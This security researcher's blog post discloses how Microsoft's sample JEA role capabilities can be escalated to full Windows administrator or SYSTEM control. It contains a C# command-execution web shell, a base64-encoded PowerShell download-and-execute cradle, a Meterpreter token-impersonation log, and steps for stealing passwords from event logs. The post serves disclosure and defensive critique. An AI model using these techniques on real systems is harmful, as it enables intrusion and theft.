Just Too Much Administration – Breaking JEA, PowerShell’s New Security Barrier


Update - 10/9

The PowerShell team has been very responsive in addressing these issues. The documentation should be updated soon (if not yet). Lee Holmes from the PowerShell team also addressed these issues in another DerbyCon presentation: https://www.youtube.com/watch?v=JDtUmue9mIw&feature=youtu.be&t=1766

tl;dr

Just Enough Administration (JEA) is a new Windows 10/Server 2016 feature to create granular least privilege policies by granting specific administrative privileges to users, defined by built-in and script-defined PowerShell cmdlets. Microsoft's documentation claimed JEA was a security boundary so effective you did not need to worry about an attacker stealing and misusing the credentials of a JEA user.

But every JEA role capability example I found Microsoft had published had vulnerabilities that could be exploited to obtain complete system administrative rights, most of them immediately, reliably, and without requiring any special configuration. I find it hard to believe most custom role capabilities created by system administrators in the wild are going to be more secure than these, given the track record of the functionally similar features in Linux, the non-obvious nature of vulnerabilities, and the importance of dangerous cmdlets to routine system troubleshooting and maintenance.

I recommended Microsoft invert what their JEA articles and documentation said about security. Instead of leading with statements that JEA was a security barrier, users with JEA rights should not be considered administrators, and their credentials do not need to be protected like real administrators with a note that this may not be the case if you are not careful; Microsoft's JEA documentation should lead with statements that JEA should not be treated like a security barrier and users with JEA rights and their credentials should be tightly controlled exactly like normal administrators unless the role capabilities have been strictly audited by security professionals. Additionally, the README files and comments of their example role capabilities should start with stern reminders of this.

JEA Introduction

Just Enough Administration (JEA) is a new Windows 10/Server 2016 feature to create granular least privilege policies by granting specific administrative privileges to users, defined by built-in and script-defined PowerShell cmdlets. In the keynote at DerbyCon this year, Jeffery Snover, known for creating PowerShell, advertised JEA as an example of a positive advance in locking down systems and foresaw a large role for it in the future of systems administration. So I decided to check it out; Microsoft's documentation claimed JEA was a security boundary so effective you do not need to worry about an attacker stealing and misusing the credentials of a JEA user:

Microsoft's sample

Emphasis mine. Cheesy smiley face too.

When I heard of JEA, my first reaction was to compare it to Linux's capabilities feature. Similar to JEA, capabilities on Linux provide a way for a program to be granted specific abilities that would otherwise require root access. In contrast with JEA, each capability is defined by the Linux kernel developers, following a lengthy discussion and many signoffs from the core kernel team.

Unfortunately, despite all the expertise and review, most capabilities failed as security barriers. In a post titled False Boundaries and Arbitrary Code Execution, Brad Spengler of grsecurity was able to assemble a list of techniques to escalate privileges to fully unfettered root access from 19 of the first 30 capabilities that were implemented. It's really hard to poke a hole in such an established security barrier and not inadvertently let all the cats out of the bag. Normally if an action requires elevated privileges, there's a good reason; the action might directly compromise the system's confidentiality, integrity, or availability and you can often get to any capability from another.

Edit - as pointed out by @securityfu, JEA is probably closer to a custom sudo profile; which can also restrict root access to only specific commands. Custom sudo profiles are also virtually always exploitable; see https://www.securusglobal.com/community/2014/03/17/how-i-got-root-with-sudo/ for an attacker's perspective.

The same kinds of flaws are prevalent and likely to re-occur in JEA as well. For example, let's look at the first JEA rules you can find on the JEA website. If you look at the above screenshot of the JEA homepage, you can see the featured link "it’s now even easier to create and configure endpoints, by using the JEA Toolkit Helper." Click that link and you will see the following JEA Helper screenshot:

JEA Helper With Example Rules

JEA Helper With Example Rules

The same page reassures us, "The tool also implements several best practices from the experience guide, as detailed in the last part of this blog post."

JEA Helper Attack

The first allowed cmdlet, "Get-Event" I believe is a typo; it does not return event log entries as you might expect; instead it returns PowerShell events from the current PowerShell session, which is a very rarely used feature that I don't think can be employed in the restricted JEA shell. "Get-EventLog" and "Get-WinEvent" on the other hand, are very commonly used to troubleshoot application and OS errors, performance issues, configuration mistakes, etc. But more on those later.

The second allowed cmdlet, "Add-Computer" is a commonly used command when administering a Windows network. It is used to add a computer to a domain or switch its domain. It is also a reliable vector to break the JEA security barrier, and escalate privileges to complete unrestricted system control. This can be performed in a simple series of steps:

  1. First, set up a target computer as documented; an updated non-domain-joined Windows 10 system. Ensure PSRemoting is enabled (Enable-PSRemoting -Force -SkipNetworkProfileCheck) then run the JEA helper tool from Microsoft, and create a PS session configuration with the same role capabilities as the JEA Toolkit Helper example shows, and enable it for an otherwise non-admin user. The best and simplest cut & pastable resource for getting JEA enabled and a starting configuration going was put together by Paula Januszkiewicz and is available at cqureacademy.com; you can use those commands to create the PowerShell Role Capabilities File and Session Configuration File, and to register the session configuration file. Test powershell remoting to this system from another Windows 10 system by running Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*" -Force on the source system then connecting to the target with Enter-PSSession -ComputerName 1.2.3.4 -Credential (Get-Credential) -ConfigurationName JEADemo2 where 1.2.3.4 is the IP of the target, and providing your JEA user credentials for the target.
  2. Register a domain name; a free dynamic DNS one should do fine, as long as you can set the NS server or don't mind typing in a lot of entries. It can be a subdomain of another one, like addthis.scriptjunkie.us.
  3. Create a Windows Server virtual machine on the same network as the target system you have JEA access to, install the Active Directory role, and make it the root domain controller of a new forest with your new domain name. A free Samba-based Linux DC should work just fine too.
  4. Find a way to forward DNS queries for your new domain name to your new DC; or manually make a copy of the DNS records (e.g. with Get-DnsServerResourceRecord) and add them to an external resolver.
  5. Use your JEA user to remote into the target system, and run "Add-Computer -DomainName addthis.scriptjunkie.us"
  6. Powershell will prompt you to enter a username and password; enter the credentials of a user on the new domain
  7. Add-Computer from JEA

    Add-Computer from JEA

  8. Your computer will be added to the domain. Next time it reboots, it will pull group policy settings from your new server, enabling you via a group policy configuration to change any setting, drop the firewall, execute any command as system via startup scripts or scheduled tasks, or directly log in as the domain admin. You have broken the "security barrier" and have full unrestricted administrative control over the system.
  9. Once a hacker with the compromised JEA account has unrestricted admin, the hacker can directly delete or remove incriminating information from the JEA log transcripts.

JEA General Role Capabilities Attacks

The previous rules are not the only rules Microsoft has published. Microsoft has a repository of more comprehensive JEA role capabilities, available if you can find them anyway. At the bottom of the JEA homepage, in the "For more information" section, Microsoft has a link to "JEA documentation on GitHub" which goes to http://aka.ms/jeadocs. This link currently redirects to https://msdn.microsoft.com/powershell/jea/readme which is not the Microsoft JEA github repository and at time of writing did not seem to link to there either.

But if you go to github.com and manually search that site for JEA, you'll find the repository at https://github.com/PowerShell/JEA. This repository has 4 sample role capabilities; a "level 1" and "level 2" for general server administration and IIS specific level 1 and 2. I used the PowerShell commands import-module servermanager
Install-WindowsFeature Web-Server
Install-WindowsFeature Web-ASP
Install-WindowsFeature Web-Asp-Net45
to install IIS and ASP.NET:

  • General Level 2 allows the execution of cmdlets like New-Service which allows the user to immediately and reliably launch any command with full SYSTEM rights; a privilege escalation past the security barrier to complete system control.
  • General Level 1 allows the cmdlets Get-WinEvent and Get-EventLog. These cmdlets allow the user to read all the event logs on the system. This is an important task for anyone tasked with troubleshooting a server, but it's also a critical vulnerability. If an organization is particularly security conscious, which they'd have to be to be running JEA, they should have command line process auditing enabled and/or sysmon installed. These will log the complete command lines of every process that is executed on the system; which is very important for forensic and intrusion detection purposes as well as basic troubleshooting. Finally, if there's one thing I know about admins, it's that, for a common task, given the choice between clicking around 10 menus and typing something in twice, and doing the same task with a single command line command, they will always pick the simplest option. This is doubly so in any organization that uses PowerShell so much that they would deploy JEA (thus forcing staff to use it). Because of that, when creating a new account or changing the password of an existing account, admins will probably run net user someuser Password123 rather than use the GUI. Likewise, they may run net use \\computername\share Password123 /user:bob to map shares or psexec \\computer -u bob -p Password123 to get a remote shell if PowerShell remoting isn't working. These command lines and passwords will be logged in the event logs. Although that level of detail won't be shown within the JEA shell, you can extract it by serializing the result of your output by running Get-WinEvent via Invoke-Command and extracting it out on your system:
  • Extracting passwords from the event log

    Extracting passwords from the event log


    We've now obtained passwords to fully privileged admin accounts and have once again escalated past the security barrier to complete system control.

  • IIS Level 2 and IIS Level 1 differ in that level 2 includes commands like New-WebSite that level 1 does not have. But that does not matter; both allow *-IISSite which includes New-IISSite which is all we need to completely compromise the system.
    To do so, first install Visual Studio on any system (be sure to include the web development tools and C#), then create a new C# Web API project. I used the default and made a small change; I went to the ValuesController, removed the [Authorize] line and changed the Get method to the method below, then published the project into a custom profile that just generates a zip:

    // GET api/command/ipconfig
    [Route("api/command/{cmd}")]
    public string GetCmd(string cmd)
    {
    	Process p = new Process();
    	p.StartInfo.UseShellExecute = false;
    	p.StartInfo.RedirectStandardOutput = true;
    	p.StartInfo.FileName = "C:\\Windows\\System32\\cmd.exe";
    	p.StartInfo.Arguments = "/c " + cmd;
    	p.Start();
    	return p.StandardOutput.ReadToEnd();
    }
    

    Next share a folder on any system that the IIS server can reach (or re-use an existing share) and extract your web project zip folder into it as a directory.

    Use your restricted credentials to log into the JEA session and run New-IISSite -Name something -BindingInformation "*:8080:" -PhysicalPath \\thefileserverwiththe\share\yourapp I used port 8080, but you can pick any unused port you can reach; if you can't reach any unused port, then pick a custom path in an already-served port.

    Now open a web browser and go to http://thetargetserver:8080/api/command/ipconfig - it should return the output of running the command "ipconfig". You now have demonstrated arbitrary code execution on the IIS server. But if you run whoami you will see that you have only gained code execution under the IIS APPPOOL\DefaultAppPool account.

    Microsoft's documentation on application pool identities emphasizes that these limited accounts are a security barrier to prevent an application compromise from becoming a complete system compromise. However, in a sadly recurring pattern, the application pool accounts have been granted privileges otherwise reserved for administrators or the SYSTEM account which completely negate their security limitations, and those limitations can be reliably, immediately bypassed. There are many ways from this point to escalate to full SYSTEM access.

    For example, as the previously linked page declares, "application pool identities also use the machine account to access network resources" which means, as far as any other system on your network knows, your web application is running from the locally all-powerful SYSTEM account. So anything that that account can access, you can too. This means that if this is a very security conscious organization, which it probably is, and has the Local Administrator Password Solution or an equivalent deployed, or if your administrators are lazy and not-security-smart and have a local administrator password set in Group Policy Preferences, your code can directly read out the local administrator password and immediately escalate to unrestricted admin rights.

    Another uncommon privilege that the IIS Application Pool account has is the ability to impersonate tokens. This is a very commonly used privilege for web applications, as they often need to authenticate domain users and take actions under their account. We can use this privilege and standard Windows authentication protocols to execute the Rotten Potato attack assembled by James Forshaw, Stephen Breen, and Chris Mallz. This attack effectively triggers a network authentication by the SYSTEM account to an endpoint we have created, then man-in-the-middles the NTLM authentication to obtain a SYSTEM token, then impersonates the token to obtain full SYSTEM rights.

    The method I used was to first start metasploit on another system, start the multi/script/web_delivery module with a windows/meterpreter/reverse_tcp payload, then encode a shortened version of the PowerShell launch command into a PowerShell encoded command, then kick off the stager on the webserver by visiting the URL launching the encoded command: http://192.168.56.101:8080/api/command/powershell%20-ec%20JAB0AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBJAEUAWAAgACQAdAAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANQA2AC4AMQAwADQAOgA4ADAAOAAwAC8AMABuAFYAegA2AHQAIgApADsA. This gives me a meterpreter shell on the IIS server in a powershell process. I then uploaded and kicked off rottenpotato.exe, then migrated into the rottenpotato process, and used incognito to impersonate the SYSTEM token rottenpotato obtained:

    >>>execute -H -f rottenpotato.exe
    Process 1904 created.
    >>>migrate 1904
    [*] Migrating from 3496 to 1904...
    [*] Migration completed successfully.
    >>>ps
    
    Process List
    ============
    
     PID   PPID  Name                                       Arch  Session  User                        Path
     ---   ----  ----                                       ----  -------  ----                        ----
     0     0     [System Process]                                                                      
     4     0     System                                                                                
     240   4     smss.exe                                                                              
     320   312   csrss.exe                                                                             
     336   3216  MpCmdRun.exe                                                                          
     380   492   svchost.exe                                                                           
     384   376   csrss.exe                                                                             
     400   312   wininit.exe                                                                           
     432   376   winlogon.exe                                                                          
     492   400   services.exe                                                                          
     500   400   lsass.exe                                                                             
     644   492   svchost.exe                                                                           
     684   492   svchost.exe                                                                           
    ...
    >>>getuid
    Server username: IIS APPPOOL\DefaultAppPool
    >>>use incognito
    Loading extension incognito...
    success.
    >>>list_tokens -u
    [-] Warning: Not currently running as SYSTEM, not all tokens will be available
                 Call rev2self if primary process token is SYSTEM
    
    Delegation Tokens Available
    ========================================
    IIS APPPOOL\DefaultAppPool
    
    Impersonation Tokens Available
    ========================================
    NT AUTHORITY\IUSR
    NT AUTHORITY\SYSTEM
    
    >>>impersonate_token 'NT AUTHORITY\SYSTEM'
    [-] Warning: Not currently running as SYSTEM, not all tokens will be available
                 Call rev2self if primary process token is SYSTEM
    [-] No delegation token available
    [+] Successfully impersonated user NT AUTHORITY\SYSTEM
    >>>ps
    
    Process List
    ============
    
     PID   PPID  Name                                       Arch  Session  User                          Path
     ---   ----  ----                                       ----  -------  ----                          ----
     0     0     [System Process]                                                                        
     4     0     System                                     x64   0                                      
     240   4     smss.exe                                   x64   0                                      
     320   312   csrss.exe                                  x64   0                                      
     336   3216  MpCmdRun.exe                               x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Program Files\Windows Defender\MpCmdRun.exe
     380   492   svchost.exe                                x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
     384   376   csrss.exe                                  x64   1                                      
     400   312   wininit.exe                                x64   0                                      
     432   376   winlogon.exe                               x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlogon.exe
     492   400   services.exe                               x64   0                                      
     500   400   lsass.exe                                  x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsass.exe
     644   492   svchost.exe                                x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
     684   492   svchost.exe                                x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
     796   492   svchost.exe                                x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
     844   492   svchost.exe                                x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
     928   492   svchost.exe                                x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
     940   492   svchost.exe                                x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
    ...
    

    Once again, the JEA restrictions have been reliably broken and we have complete SYSTEM control.

Neither the repository README nor any of the JEA role capability scripts mentioned that they invalidate the JEA security barrier.

Poking holes in a major security boundary without completely obviating it is an exceptionally difficult task that is highly likely to fail in difficult-to-see ways. Even the experts who develop these operating systems usually fail, even under the strictest scrutiny of code reviews.

Every JEA role capability file I had found Microsoft has published can be bypassed to obtain complete system administrative rights, most of them immediately, reliably, and without requiring any special configuration. I find it hard to believe most system administrators who create their own custom role capabilities are going to create more secure configurations than these, especially given the track record of the functionally similar sudo configurations, or the Linux capabilities, or even the built-in IIS account restrictions. Cmdlets can often result in privilege escalation in non-obvious ways and many such cmdlets are essential to normal maintenance, troubleshooting and resolving common issues.

Recommendations

I recommended Microsoft invert what their JEA articles and documentation say about security. Instead of saying JEA was a security barrier, users with JEA rights should not be considered administrators, and their credentials do not need to be protected like real administrators with a note that this may not be the case if you are not careful; Microsoft should say JEA should not be treated like a security barrier and users with JEA rights and their credentials should be tightly controlled exactly like normal administrators unless the role capabilities have been strictly audited by security professionals. Additionally, the README files and comments of their example role capabilities should start with stern reminders of this.

I believe JEA role capabilities are primarily protection from accidental changes and a reminder to junior admins to consult senior staff before taking certain actions. Any account that can use JEA should be considered privileged, not unprivileged. Protect and monitor those, use the same MFA requirements, etc. as fully privileged admin accounts. Finally, JEA grants are backdoors in the most literal sense; monitor them continuously for changes, and audit frequently, just like privileged user groups and autoruns.

Post script - on disclosure

I did not pre-coordinate this release with Microsoft. For normal vulnerabilities, privately coordinating with the vendor can allow them to create and release a patch before any attackers are aware of the vulnerability. In this case, the vulnerability is not so much with the underlying technology, whose details seem to be working as advertised. The vulnerabilities instead lie primarily with the documentation and general marketing of the feature. I was not even confident I should call these "vulnerabilities" although in the end I decided to do since they seem to meet the definition of a hole in a documented security feature.

The correct response for a documentation vulnerability is to correct the misinterpretation; there is no binary patch Microsoft can put out to fix your configurations. As a result, I saw no benefit in delaying this post.

Comments are closed.